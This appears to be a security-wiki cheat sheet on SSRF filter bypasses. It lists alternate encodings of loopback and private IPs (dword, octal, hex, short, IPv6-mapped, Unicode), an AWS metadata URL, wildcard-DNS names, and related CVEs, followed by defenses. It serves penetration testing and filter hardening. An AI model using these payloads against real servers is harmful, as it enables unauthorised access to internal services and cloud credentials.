IP Address Encoding Bypasses
Defeating SSRF denylists that match the literal strings
127.0.0.1/localhost/169.254.169.254by writing the same address in a form the filter doesn’t recognise but the HTTP client’s resolver still parses to the internal target.
How it works
inet_aton/getaddrinfo and most language resolvers accept far more than dotted-decimal: octal, hex, dword (dotless decimal), partial/short forms, and various IPv6 spellings all resolve to the same address. A naive filter regexes for a few canonical strings; the client normalises the exotic form and connects internally. The reliable classes of failure are (1) alternate numeric bases, (2) short/overflow forms, (3) IPv6 representations of IPv4 (mapped/compatible/NAT64), (4) wildcard-DNS names that resolve to an internal IP, and (5) parser libraries that misclassify a form as “public” (e.g. Node ip/is-localhost-ip). Always confirm which form the actual client resolves — the payload must survive the resolver, not just the regex.
Techniques / payloads
127.0.0.1 decomposes to 0x7f 00 00 01; dword = 127*2^24 + 1 = 2130706433. 192.168.0.1 = 3232235521.
| Form | 127.0.0.1 example | Notes |
|---|---|---|
| Dotted decimal (canonical) | 127.0.0.1 | baseline |
| Dword / dotless decimal | 2130706433 | 192.168.0.1=3232235521, 192.168.1.1=3232235777; classic WAF bypass |
| Dotted octal | 0177.0.0.01 | leading-zero octets |
| Dotless octal | 017700000001 | |
| Octal w/ padding | 00000177.00000000.00000000.00000001 | arbitrary leading zeros |
| Dotted hex | 0x7f.0x0.0x0.0x1 | |
| Dotless hex | 0x7f000001 | 192.168.0.20=0xc0a80014 |
| Dotless hex w/ padding | 0x0a0b0c0d7f000001 | high padding ignored |
| Mixed bases | 0xA9.254.0251.0376 | hex+decimal+octal in one address |
| Partial / class-B merge | 169.254.43518 | third+fourth octet fused to one decimal → 169.254.169.254 |
| Decimal overflow | 127.0.1.3, 383.256.256.257 | mod-256 wrap |
| Short form | 127.1, 127.0.1, 0 | 0 = localhost on Linux; 127.1 → 127.0.0.1 |
0.0.0.0 | http://0.0.0.0:80 | reaches loopback-bound services on Linux; often missed by 127.0.0.1 denylists |
| CIDR /8 spray | 127.127.127.127, 127.0.0.0 | any 127.x is loopback |
| Dot substitute (ideographic) | 127。0。0。1, 127%E3%80%820%E3%80%820%E3%80%821 | U+3002 。 |
| Enclosed alphanumerics | ①②⑦.⓪.⓪.⓪, http://①②⑦.⓪.⓪.⓪ | Unicode block U+2460–24FF |
IPv6 / IPv4-in-IPv6:
http://[::]:80/ # all-zeros → localhost
http://[::1]/ http://[0000::1]:80/
http://[::ffff:127.0.0.1] # IPv4-mapped (also [::ffff:7f00:1])
http://[::127.0.0.1] # IPv4-compatible (deprecated, RFC 4291)
http://[0:0:0:0:0:ffff:127.0.0.1]/path
http://[fd00:ec2::254]/latest/meta-data/ # AWS IMDS over IPv6 (Nitro, if enabled)
http://[fe80::1%25eth0]/ # zone ID: %25-encoded, interface must exist ON the server (RFC 6874/9844)
Wildcard DNS / name-to-internal-IP (no attacker DNS server needed):
127.0.0.1.nip.io # <anything>.<ip>.nip.io → <ip>
example.com.127.0.0.1.nip.io # also sslip.io
make-127-0-0-1-rr.1u.ms # 1u.ms encodes the IP in the label
localtest.me / spoofed.burpcollaborator.net → 127.0.0.1
bugbounty.dod.network → 127.0.0.2 ; mail.ebc.apple.com → 127.0.0.6
For rebinding (public-then-private) see DNS Rebinding. Tooling: dwisiswant0/ipfuscator, Burp Burp-Encode-IP, recollapse for fuzzing filter edges.
Notable cases
- CVE-2025-9960
is-localhost-ip2.0.0 — misclassified IPv4-mapped IPv6 (::ffff:127.0.0.1) and some private/link-local ranges as localhost, inverting the trust check. - CVE-2024-29415 Node
ippackage —isPublic()returnedtruefor short-form loopback and octal privates (127.1,012.1.2.3), so public-only filters accepted internal targets. - DWORD WAF bypass (0xk4rim) —
127.0.0.1→2130706433slipped past naive WAF IP filters on a bug-bounty target.
Defenses
- Resolve the hostname, then validate the resulting binary IP against deny ranges — never string-match the URL. Normalise to a canonical in6/in4 representation first (parse with a real IP library, not a regex).
- Block IPv4-mapped/compatible IPv6, NAT64 prefixes,
0.0.0.0, and the whole127.0.0.0/8,169.254.0.0/16, RFC 1918, and100.64.0.0/10ranges on both families. See SSRF Prevention. - Prefer an allowlist of resolved IPs; combine with DNS pinning (DNS Rebinding) and egress firewalling.
Related
- Server-Side Request Forgery
- DNS Rebinding — wildcard-DNS services and the resolve-time race
- URL Parser Differentials — when the validator and client disagree on what the host even is
- Cloud Metadata Service Exploitation · IMDSv2
- SSRF Prevention
Sources
- URL Format Bypass - HackTricks · original
- SSRF payloads · original
- Server-Side Request Forgery - 0xn3va cheat sheet · original
- URL validation bypass cheat sheet · original
- CVE-2025-9960: is-localhost-ip 2.0.0 SSRF · original
- SSRF OSCP notes · original
- SSRF advanced exploitation guide · original
- WAF bypass via decimal (DWORD) IP · original